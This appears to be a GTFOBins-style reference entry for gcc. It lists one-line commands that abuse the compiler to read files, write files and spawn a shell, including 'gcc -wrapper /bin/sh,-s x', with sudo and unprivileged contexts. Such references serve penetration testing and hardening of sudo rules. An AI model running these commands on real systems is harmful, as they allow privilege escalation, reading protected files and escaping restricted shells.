gcc

File Read

Context: sudo, unprivileged

gcc -x c -E /path/to/input-file

Context: sudo, unprivileged

gcc @/path/to/input-file

File Write

Context: sudo, unprivileged

gcc -x c /dev/null -o /path/to/input-file

Shell

Context: sudo, unprivileged

gcc -wrapper /bin/sh,-s x